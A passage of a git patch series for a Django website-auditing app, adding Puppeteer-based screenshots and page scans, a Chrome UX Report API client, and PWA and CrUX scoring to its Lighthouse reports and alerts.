/usr/bin/chromium # stripe keys @@ -38,6 +40,10 @@ STRIPE_PUBLIC_TEST = STRIPE_PRIVATE_TEST = +# google keys +GOOGLE_CRUX_KEY = + + # OAuth keys GOOGLE_OAUTH2_CLIENT_ID = GOOGLE_OAUTH2_CLIENT_SECRET = diff --git a/env/.env.prod.example b/env/.env.prod.example index 2ce982fa..47f56812 100644 --- a/env/.env.prod.example +++ b/env/.env.prod.example @@ -1,5 +1,5 @@ # high level django configs -SECRET_KEY = ask-for-this +SECRET_KEY = ask-for-this-or-generate-yourself CLIENT_URL_ROOT = https://app.example.io # example API_URL_ROOT = https://api.example.io # example LETSENCRYPT_HOST = api.example.io # example @@ -30,6 +30,8 @@ DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com # example # paths CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium # stripe keys @@ -37,6 +39,10 @@ STRIPE_PUBLIC_TEST = STRIPE_PRIVATE_TEST = +# google keys +GOOGLE_CRUX_KEY = + + # OAuth keys GOOGLE_OAUTH2_CLIENT_ID = GOOGLE_OAUTH2_CLIENT_SECRET = diff --git a/requirements.txt b/requirements.txt index 4df8b44c..0e27c08e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,33 +13,44 @@ Django==3.2.3 django-celery-beat==2.2.0 django-filter==2.4.0 djangorestframework==3.12.4 +django-markdownify==0.9.0 +django-cors-headers==3.7.0 django-storages==1.12.3 +djangorestframework-simplejwt==4.7.2 docker==5.0.0 gunicorn==20.1.0 humanize==3.7.0 idna==2.10 kombu==5.1.0 Markdown==3.3.4 +numpy==1.22.3 Pillow==9.0.0 prometheus-client==0.8.0 prompt-toolkit==3.0.18 psycopg2==2.8.6 +pyjwt==2.1.0 +pyppeteer==1.0.2 pytz==2021.1 redis==3.5.3 requests==2.25.1 reportlab==3.6.6 -selenium==4.1.0 +scipy==1.8.0 +selenium==4.1.3 +sewar==0.4.4 six==1.16.0 +slack-sdk==3.11.2 sqlparse==0.4.1 +stripe==2.60.0 tornado==6.1 +twilio==7.3.0 urllib3==1.26.5 vine==5.0.0 wcwidth==0.2.5 websocket-client==1.0.1 -django-cors-headers==3.7.0 -pyjwt==2.1.0 -djangorestframework-simplejwt==4.7.2 -stripe==2.60.0 -twilio==7.3.0 -slack-sdk==3.11.2 -django-markdownify==0.9.0 \ No newline at end of file + + + + + + + From 4f832485ae42078bc55bd759d0a3206ad9ade5d2 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 29 Mar 2022 11:58:18 -0500 Subject: [PATCH 019/277] added puppeteer and crux --- app/api/management/commands/driver_p_test.py | 14 + app/api/management/commands/driver_s_test.py | 11 + app/api/management/commands/driver_test.py | 26 -- app/api/models.py | 16 +- app/api/tasks.py | 13 +- app/api/utils/alerts.py | 22 +- app/api/utils/automations.py | 11 + app/api/utils/crux.py | 36 ++ app/api/utils/custom-config.js | 19 +- app/api/utils/driver_p.py | 175 +++++++++ app/api/utils/{driver.py => driver_s.py} | 56 ++- app/api/utils/image.py | 243 +++++++++++- app/api/utils/lighthouse.py | 42 +- app/api/utils/reporter.py | 275 ++++++------- app/api/utils/scanner.py | 66 +++- app/api/utils/tester.py | 54 ++- app/api/utils/wordpress.py | 4 +- app/api/utils/wordpress_p.py | 387 +++++++++++++++++++ app/api/utils/yellowlab.py | 4 +- app/api/v1/ops/services.py | 109 ++++-- app/api/v1/ops/tasks.py | 5 +- app/scanerr/celery.py | 7 +- 22 files changed, 1324 insertions(+), 271 deletions(-) create mode 100644 app/api/management/commands/driver_p_test.py create mode 100644 app/api/management/commands/driver_s_test.py delete mode 100644 app/api/management/commands/driver_test.py create mode 100644 app/api/utils/crux.py create mode 100644 app/api/utils/driver_p.py rename app/api/utils/{driver.py => driver_s.py} (66%) create mode 100644 app/api/utils/wordpress_p.py diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py new file mode 100644 index 00000000..c85d2705 --- /dev/null +++ b/app/api/management/commands/driver_p_test.py @@ -0,0 +1,14 @@ +from ...utils.driver_p import driver_test +from django.core.management.base import BaseCommand +import asyncio + +# testing puppeteer, pyppeteer, and chromium installation and configs + +class Command(BaseCommand): + + def handle(self, *args, **options): + asyncio.run(driver_test()) + + + + diff --git a/app/api/management/commands/driver_s_test.py b/app/api/management/commands/driver_s_test.py new file mode 100644 index 00000000..3ae6438a --- /dev/null +++ b/app/api/management/commands/driver_s_test.py @@ -0,0 +1,11 @@ +from ...utils.driver_s import driver_test +from django.core.management.base import BaseCommand + +# testing selenium, chromedriver, and chromium installation and configs + +class Command(BaseCommand): + + def handle(self, *args, **options): + driver_test() + + diff --git a/app/api/management/commands/driver_test.py b/app/api/management/commands/driver_test.py deleted file mode 100644 index ec029a53..00000000 --- a/app/api/management/commands/driver_test.py +++ /dev/null @@ -1,26 +0,0 @@ -from ...utils.driver import driver_init -from django.core.management.base import BaseCommand -import time, os, sys - -# testing selenium, chromedriver, and chromium installation and configs - -class Command(BaseCommand): - - def handle(self, *args, **options): - try: - driver = driver_init() - driver.get('https://google.com') - title = driver.title - if title == 'Google': - status = 'Success' - else: - status = 'Failed' - except: - status = 'Failed' - title = 'NO TITLE RETURNED' - - sys.stdout.write('Test results --> ' + status +'\n' - + 'Returned title was --> ' + title +'\n' - ) - sys.exit(0) - diff --git a/app/api/models.py b/app/api/models.py index 6ecd1262..36a81dd7 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -21,7 +21,9 @@ def get_info_default(): }, 'lighthouse': { 'average': None, - 'seo': None, + 'seo': None, + 'pwa': None, + 'crux': None, 'performance': None, 'accessibility': None, 'best_practices': None, @@ -57,6 +59,8 @@ def get_lh_delta_default(): "performance_delta": None, "accessibility_delta": None, "best-practices_delta": None, + "pwa_delta": None, + "crux_delta": None, "average_delta" : None, "current_average": None, }, @@ -68,7 +72,7 @@ def get_lh_delta_default(): def get_yl_delta_default(): yl_delta_default = { "scores": { - "globalScore_delta": None, + "average_delta": None, "pageWeight_delta": None, "requests_delta": None, "domComplexity_delta": None, @@ -92,13 +96,17 @@ def get_lh_default(): "performance": None, "accessibility": None, "best_practices": None, - "average": None, + "pwa": None, + "crux": None, + "average": None }, "audits": { "seo": [], "performance": [], "accessibility": [], - "best-practices": [] + "best-practices": [], + "pwa": [], + "crux": [] }, } return lh_default diff --git a/app/api/tasks.py b/app/api/tasks.py index b20586c3..c96cd37d 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -7,10 +7,21 @@ ) from .models import Log from django.contrib.auth.models import User +from .utils.driver_p import driver_test +from asgiref.sync import async_to_sync +import asyncio + logger = get_task_logger(__name__) + +@shared_task +def test_pupeteer(): + asyncio.run(driver_test()) + logger.info('Tested pupeteer instalation') + + @shared_task def create_site_bg(site_id): create_site_task(site_id) @@ -24,14 +35,12 @@ def create_scan_bg( site_id=None, automation_id=None, configs=None, - type=None, ): create_scan_task( scan_id, site_id, automation_id, configs, - type, ) logger.info('Created new scan of site') diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index 1f2d7410..9bf6ca6b 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -26,13 +26,17 @@ def create_exp_str(item, automation, is_email=False): data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t' elif 'health' in e['data_type']: data_type = 'Health:\t'+str((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2))+'\n\t' - + # LH test data elif 'current_lighthouse_average' in e['data_type']: data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' elif 'seo_delta' in e['data_type']: data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t' + elif 'pwa_delta' in e['data_type']: + data_type = 'PWA Delta:\t'+str(item.lighthouse_delta["scores"]["pwa_delta"])+'\n\t' + elif 'crux_delta' in e['data_type']: + data_type = 'CRUX Delta:\t'+str(item.lighthouse_delta["scores"]["crux_delta"])+'\n\t' elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t' + data_type = 'Best Practices Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t' elif 'performance_delta' in e['data_type']: data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t' elif 'accessibility_delta' in e['data_type']: @@ -42,8 +46,12 @@ def create_exp_str(item, automation, is_email=False): data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' elif 'seo' in e['data_type']: data_type = 'SEO:\t'+str(item.lighthouse["scores"]["seo"])+'\n\t' + elif 'pwa' in e['data_type']: + data_type = 'PWA:\t'+str(item.lighthouse["scores"]["pwa"])+'\n\t' + elif 'crux' in e['data_type']: + data_type = 'CRUX:\t'+str(item.lighthouse["scores"]["crux"])+'\n\t' elif 'best_practices' in e['data_type']: - data_type = 'Best Practicies:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t' + data_type = 'Best Practices:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t' elif 'performance' in e['data_type']: data_type = 'Performance:\t'+str(item.lighthouse["scores"]["performance"])+'\n\t' elif 'accessibility' in e['data_type']: @@ -132,6 +140,10 @@ def create_json_data(data, obj): json_data[key] = item.score elif 'seo_delta' == json_data[key]: json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] + elif 'pwa_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["pwa_delta"] + elif 'crux_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["crux_delta"] elif 'best_practices_delta' == json_data[key]: json_data[key] = item.lighthouse_delta["scores"]["best_practices_delta"] elif 'performance_delta' == json_data[key]: @@ -150,6 +162,10 @@ def create_json_data(data, obj): json_data[key] = item.lighthouse["scores"]["current_average"] elif 'seo' == json_data[key]: json_data[key] = item.lighthouse["scores"]["seo"] + elif 'pwa' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["pwa"] + elif 'crux' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["crux"] elif 'best_practice' == json_data[key]: json_data[key] = item.lighthouse["scores"]["best_practices"] elif 'performance' == json_data[key]: diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py index 4d93eb96..f9832147 100644 --- a/app/api/utils/automations.py +++ b/app/api/utils/automations.py @@ -37,10 +37,13 @@ def automation(automation_id, object_id): else: return False + if use_exp: + for expression in expressions: + if '>=' in expression['operator']: operator = ' >= ' else: @@ -61,6 +64,10 @@ def automation(automation_id, object_id): data_type = 'float(test.lighthouse_delta["scores"]["current_average"])' elif 'seo_delta' in expression['data_type']: data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])' + elif 'pwa_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["pwa_delta"])' + elif 'crux_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["crux_delta"])' elif 'best_practices_delta' in expression['data_type']: data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])' elif 'performance_delta' in expression['data_type']: @@ -72,6 +79,10 @@ def automation(automation_id, object_id): data_type = 'float(scan.lighthouse["scores"]["average"])' elif 'seo' in expression['data_type']: data_type = 'float(scan.lighthouse["scores"]["seo"])' + elif 'pwa' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["pwa"])' + elif 'crux' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["crux"])' elif 'best_practices' in expression['data_type']: data_type = 'float(scan.lighthouse["scores"]["best_practices"])' elif 'performance' in expression['data_type']: diff --git a/app/api/utils/crux.py b/app/api/utils/crux.py new file mode 100644 index 00000000..73601c4e --- /dev/null +++ b/app/api/utils/crux.py @@ -0,0 +1,36 @@ +import requests, os, json + + + +class Crux(): + + def __init__(self, site_url): + self.site_url = site_url + self.key = os.environ.get('GOOGLE_CRUX_KEY') + + + def get_data(self): + + url = f'https://chromeuxreport.googleapis.com/v1/records:queryRecord?key={self.key}' + headers = { + "Content-Type": "application/json", + } + data = { + "origin": str(self.site_url), + } + + res = requests.post( + url=url, + headers=headers, + data=json.dumps(data) + ) + + response = res.json() + + if res.status_code != 200: + response = { + "status": "failed", + "message": "This site_url does not have enough historical data in the CRUX API to respond with." + } + + return response diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js index ce50e2cb..cae0befc 100644 --- a/app/api/utils/custom-config.js +++ b/app/api/utils/custom-config.js @@ -1,11 +1,14 @@ // custom configurations for Lighthouse CLI -module.exports = { - extends: 'lighthouse:default', - settings: { - skipAudits: [ - "full-page-screenshot", - ], - }, - }; + +module.exports = { + extends: 'lighthouse:default', + plugins: ['lighthouse-plugin-crux'], + settings: { + cruxToken: process.env.GOOGLE_CRUX_KEY, + skipAudits: [ + "full-page-screenshot", + ], + }, +} \ No newline at end of file diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py new file mode 100644 index 00000000..0eead746 --- /dev/null +++ b/app/api/utils/driver_p.py @@ -0,0 +1,175 @@ +from pyppeteer import launch + +import time, os, numpy, json, sys, datetime, asyncio + + + +async def driver_init( + window_size='1920,1080', + wait_time=30, + ): + + sizes = window_size.split(',') + + options = { + 'executablePath': os.environ.get('CHROMIUM'), + 'args': [ + '--no-sandbox', + '--disable-dev-shm-usage', + f'--window-size={window_size}', + ], + 'defaultViewport': { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + }, + 'timeout': wait_time * 1000 + } + + driver = await launch( + options=options, + headless=True, + handleSIGINT=False, + handleSIGTERM=False, + handleSIGHUP=False + ) + + return driver + + + + + +async def interact_with_page(page): + # simulate mouse movement and click on tag + html_tag = await page.xpath('/html') + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + await html_tag[0].click() + return page + + + + + + +async def driver_test(*args, **options): + + print("Testing puppeteer instalation and integration...") + + try: + driver = await driver_init() + page = await driver.newPage() + await page.goto('https://google.com', {'waitUntil': 'networkidle0'}) + await interact_with_page(page) + title = await page.title() + assert title == 'Google' + if title == 'Google': + status = 'Success' + else: + status = 'Failed' + await driver.close() + except Exception as e: + print(e) + status = 'Failed' + + sys.stdout.write('--- ' + status + ' ---\n' + + 'Puppeteer installed and working \N{check mark} \n' + ) + + + + + + +async def get_data(url, configs, *args, **options): + sizes = configs['window_size'].split(',') + driver = await driver_init(window_size=configs['window_size']) + page = await driver.newPage() + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Safari/537.36" + ) + + await page.setViewport(viewport) + + if configs['device'] == 'mobile': + await page.setUserAgent(userAgent) + + + logs = [] + def record_logs(log): + if log.type == 'error': + if '.js' in log.text: + source = 'javascript' + elif 'http' in log.text: + source = 'network' + else: + source = 'other' + log_obj = { + "level": "SEVERE", + "source": source, + "message": str(log.text), + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + elif log.type == 'warning': + if '.js' in log.text: + source = 'javascript' + elif 'http' in log.text: + source = 'network' + else: + source = 'other' + log_obj = { + "level": "WARNING", + "source": source, + "message": str(log.text), + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + def record_network(request): + log_obj = { + "level": "SEVERE", + "source": "network", + "message": f'{request.failure()["errorText"]} {request.url}', + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + def record_error(error): + err = str(error).split(' at ')[0] + log_obj = { + "level": "SEVERE", + "source": "javascript", + "message": f'{err}', + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + + page.on('console', lambda log : record_logs(log)) + page.on('requestfailed', lambda request : record_network(request)) + page.on('pageerror', lambda error : record_error(error)) + + await page.goto(url, page_options) + # await page.waitForNavigation(navWaitOpt) + await interact_with_page(page) + html = await page.content() + + await driver.close() + data = { + 'html': html, + 'logs': logs, + } + + return data \ No newline at end of file diff --git a/app/api/utils/driver.py b/app/api/utils/driver_s.py similarity index 66% rename from app/api/utils/driver.py rename to app/api/utils/driver_s.py index 3886db01..b10d6dd8 100644 --- a/app/api/utils/driver.py +++ b/app/api/utils/driver_s.py @@ -1,41 +1,52 @@ from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from selenium.webdriver import ActionChains -import time, os, numpy, json +import time, os, numpy, json, sys def driver_init( window_size='1920,1080', + device='desktop', script_timeout=30, load_timeout=30, wait_time=15, ): + sizes = window_size.split(',') + prefs = { 'download.prompt_for_download': False, 'download.extensions_to_open': '.zip', 'safebrowsing.enabled': True } - chrome_path = os.environ.get("CHROMEDRIVER") + + mobile_emulation = { + "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": 1.0 }, + "userAgent": ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36" + ) + } + + chromedriver_path = os.environ.get("CHROMEDRIVER") options = webdriver.ChromeOptions() + options.binary_location = os.environ.get('CHROMIUM') + options.add_argument("--no-sandbox") + options.add_argument("disable-blink-features=AutomationControlled") options.add_experimental_option('prefs',prefs) options.add_argument("start-maximized") options.add_argument("--headless") - options.add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) - options.add_argument("--no-sandbox") options.add_argument("--disable-dev-shm-usage") - options.add_argument("--disable-extensions") options.add_argument("--window-size=%s" % window_size) - options.add_argument("--safebrowsing-disable-download-protection") - options.add_argument("safebrowsing-disable-extension-blacklist") - options.add_argument("--disable-gpu") + + if device == 'mobile': + options.add_experimental_option("mobileEmulation", mobile_emulation) caps = DesiredCapabilities.CHROME - #as per latest docs caps['goog:loggingPrefs'] = {'performance': 'ALL'} - driver = webdriver.Chrome(executable_path=chrome_path, options=options, desired_capabilities=caps) + driver = webdriver.Chrome(executable_path=chromedriver_path, options=options, desired_capabilities=caps) driver.set_page_load_timeout(load_timeout) driver.set_script_timeout(script_timeout) driver.implicitly_wait(wait_time) @@ -44,6 +55,29 @@ def driver_init( return driver +def driver_test(): + + print("Testing selenium instalation and integration...") + try: + driver = driver_init() + driver.get('https://google.com') + title = driver.title + assert title == 'Google' + if title == 'Google': + status = 'Success' + else: + status = 'Failed' + except Exception as e: + print(e) + status = 'Failed' + + sys.stdout.write('--- ' + status + ' ---\n' + + 'Selenium installed and working \N{check mark} \n' + ) + + driver.close() + sys.exit(0) + def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5): @@ -75,7 +109,7 @@ def get_request_list(driver): def interact_with_page(driver): - # simulate mouse movement and click on tag + # simulate mouse movement and click on tag html_tag = driver.find_elements_by_tag_name('html')[0] action = ActionChains(driver) action.move_to_element(html_tag).perform() diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 11c89636..184c1bb6 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -1,4 +1,5 @@ -from .driver import driver_init, driver_wait +from .driver_s import driver_init, driver_wait +from .driver_p import driver_init as driver_init_p from selenium import webdriver from ..models import Site, Scan, Test from selenium.webdriver.chrome.options import Options @@ -7,7 +8,10 @@ from sewar.full_ref import uqi, mse, ssim from scanerr import settings from PIL import Image as I -import time, os, sys, json, uuid, boto3, statistics, shutil, numpy +from pyppeteer import launch +import time, os, sys, json, uuid, boto3, \ + statistics, shutil, numpy + @@ -122,6 +126,116 @@ def scan(self, site, configs, driver=None,): + async def scan_p(self, site, configs): + """ + Using Puppeteer, grabs multiple screenshots of the website and uploads + them to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + page = await driver.newPage() + + sizes = configs['window_size'].split(',') + is_mobile = False + if configs['device'] == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs['device'] == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # requesting site url + await page.goto(site.site_url, page_options) + + # scroll one frame at a time and capture screenshot + image_array = [] + index = 0 + last_height = -1 + bottom = False + while not bottom: + + # scroll single frame + if index != 0: + await page.evaluate("window.scrollBy(0, window.innerHeight);") + + # get current position and compare to previous + new_height = await page.evaluate("window.pageYOffset + window.innerHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs['min_wait_time']) + + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "index": index, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + index += 1 + + else: + bottom = True + + + await driver.close() + + return image_array + @@ -186,9 +300,13 @@ def test(self, test, index=None): post_img_array = numpy.array(post_img) # test images - img_score_tupple = ssim(pre_img_array, post_img_array) - img_score_list = list(img_score_tupple) - img_score = statistics.fmean(img_score_list) * 100 + try: + img_score_tupple = ssim(pre_img_array, post_img_array) + img_score_list = list(img_score_tupple) + img_score = statistics.fmean(img_score_list) * 100 + except Exception as e: + print(e) + img_score = None # create img test obj and add to array img_test_obj = { @@ -212,7 +330,11 @@ def test(self, test, index=None): shutil.rmtree(temp_root) # averaging scores and storing in images_delta obj - avg_score = statistics.fmean(scores) + try: + avg_score = statistics.fmean(scores) + except: + avg_score = None + images_delta = { "average_score": avg_score, "images": img_test_results, @@ -226,7 +348,7 @@ def test(self, test, index=None): - def screenshot(self, site=None, url=None, configs=None, driver=None,): + def screenshot(self, site=None, url=None, configs=None, driver=None): """ Grabs single screenshot of the website and uploads it to s3. @@ -245,12 +367,13 @@ def screenshot(self, site=None, url=None, configs=None, driver=None,): "interval": 5, "window_size": "1920,1080", "max_wait_time": 60, - "min_wait_time": 10 + "min_wait_time": 10, + "device": "desktop" } # initialize driver if not passed as param if not driver: - driver = driver_init(window_size=configs['window_size']) + driver = driver_init(window_size=configs['window_size'], device=configs['device']) # get or create site data @@ -296,4 +419,106 @@ def screenshot(self, site=None, url=None, configs=None, driver=None,): "path": remote_path, } + return img_obj + + + + async def screenshot_p(self, site=None, url=None, configs=None): + """ + Using Puppeteer, grabs single screenshot of the website and uploads + it to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + if not configs: + configs = { + "interval": 5, + "driver": "puppeteer", + "device": "desktop", + "window_size": "1920,1080", + "max_wait_time": 60, + "min_wait_time": 10 + } + + driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + page = await driver.newPage() + + sizes = configs['window_size'].split(',') + is_mobile = False + if configs['device'] == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs['device'] == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # get or create site data + if site is None: + site_id = uuid.uuid4() + site_url = url + else: + site_id = site.id + site_url = site.site_url + + # request site_url + await page.goto(site_url, page_options) + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs['min_wait_time']) + + # get screenshot + pic_id = uuid.uuid4() + await page.screenshot({'path': f'{pic_id}.png'}) + await driver.close() + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site_id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + return img_obj \ No newline at end of file diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index af2207f8..dd29d403 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -8,8 +8,10 @@ class Lighthouse(): """Initializes Google's Lighthouse CLI and runs an audit of the site""" - def __init__(self, site=None): + def __init__(self, site=None, configs=None): self.site = site + self.configs = configs + self.sizes = configs['window_size'].split(',') def init_audit(self): @@ -18,7 +20,11 @@ def init_audit(self): '--config-path=api/utils/custom-config.js', '--quiet', self.site.site_url, - '--chrome-flags="--no-sandbox --headless"', + '--plugins=lighthouse-plugin-crux', + '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', + f'--screenEmulation.width={self.sizes[0]}', + f'--screenEmulation.height={self.sizes[1]}', + f'--screenEmulation.{self.configs["device"]}', '--output', 'json', ], @@ -48,6 +54,8 @@ def get_data(self): "accessibility": [], "performance": [], "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] } # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj @@ -57,22 +65,38 @@ def get_data(self): if int(a["weight"]) > 0: audit = stdout_json["audits"][a["id"]] audits[cat].append(audit) - # changing audits name of best-practices to best_practices + # changing audits names audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') # get scores from each category seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - average_score = (seo_score + accessibility_score + performance_score + best_practices_score)/4 + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) scores = { "seo": seo_score, "accessibility": accessibility_score, "performance": performance_score, "best_practices": best_practices_score, - "average": average_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score } @@ -90,14 +114,18 @@ def get_data(self): "accessibility": None, "performance": None, "best_practices": None, - "average": None, + "pwa": None, + "crux": None, + "average": None } audits = { "seo": [], "accessibility": [], "performance": [], - "best-practices": [], + "best_practices": [], + "pwa": [], + "crux": [] } data = { diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py index bf741fb4..d4b9066d 100644 --- a/app/api/utils/reporter.py +++ b/app/api/utils/reporter.py @@ -125,11 +125,11 @@ def cover_page(self): self.c.setFont('Helvetica-Bold', 45) self.c.setFillColor(HexColor(self.text_color)) self.c.drawString(.5*inch, 10*inch, 'Web Vitals for') - if len(self.site.site_url) <= 15: + if len(self.site.site_url) <= 12: self.c.drawString(.5*inch, 9*inch, self.site.site_url) - elif 15 < len(self.site.site_url): - extra_chars = len(self.site.site_url) - 15 - m = (2/5) + elif 12 < len(self.site.site_url): + extra_chars = len(self.site.site_url) - 12 + m = (3/5) self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m))) self.c.setFillColor(HexColor(self.text_color)) self.c.drawString(.5*inch, 9*inch, self.site.site_url) @@ -175,7 +175,7 @@ def get_score_data(self, score, is_binary=False): } - if score > 80: + if score >= 80: grade = score_types['a'] elif 80 > score > 70: grade = score_types['b'] @@ -215,6 +215,10 @@ def get_cat_string(self, cat): string = 'JS Complexity' elif cat == 'seo': string = 'SEO' + elif cat == 'pwa': + string = 'PWA' + elif cat == 'crux': + string = 'CRUX' elif cat == 'best_practices' or cat == 'best-practices': string = 'Best Practices' elif cat == 'performance': @@ -258,148 +262,151 @@ def create_data(self, data_type=str): logs_count = 0 for cat in data['audits']: - # creating global score - if c_count == 0: - grade_obj = 